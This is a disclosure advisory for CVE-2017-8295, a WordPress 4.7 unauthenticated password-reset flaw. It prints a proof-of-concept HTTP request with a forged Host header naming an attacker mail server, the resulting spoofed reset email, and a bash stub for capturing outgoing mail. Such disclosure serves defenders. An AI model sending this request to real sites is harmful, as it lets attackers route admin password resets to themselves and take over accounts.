=============================================
- Discovered by: Dawid Golunski
- dawid[at]legalhackers.com
- https://legalhackers.com
- CVE-2017-8295
- Release date: 03.05.2017
- Revision 1.0
- Severity: Medium/High
=============================================
Source: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
If an attacker sends a request similar to the one below to a default Wordpress
installation that is accessible by the IP address (IP-based vhost):
-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------
Wordpress will trigger the password reset function for the admin user account.
Because of the modified HOST header, the SERVER_NAME will be set to
the hostname of attacker's choice.
As a result, Wordpress will pass the following headers and email body to the
/usr/bin/sendmail wrapper:
------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Someone requested that the password be reset for the following account:
http://companyX-wp/wp/wordpress/
Username: admin
If this was a mistake, just ignore this email and nothing will happen.
To reset your password, visit the following address:
<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>
-------------------------------
As we can see, fields Return-Path, From, and Message-ID, all have the attacker's
domain set.
The verification of the headers can be performed by replacing /usr/sbin/sendmail with a
bash script of:
#!/bin/bash
cat > /tmp/outgoing-email
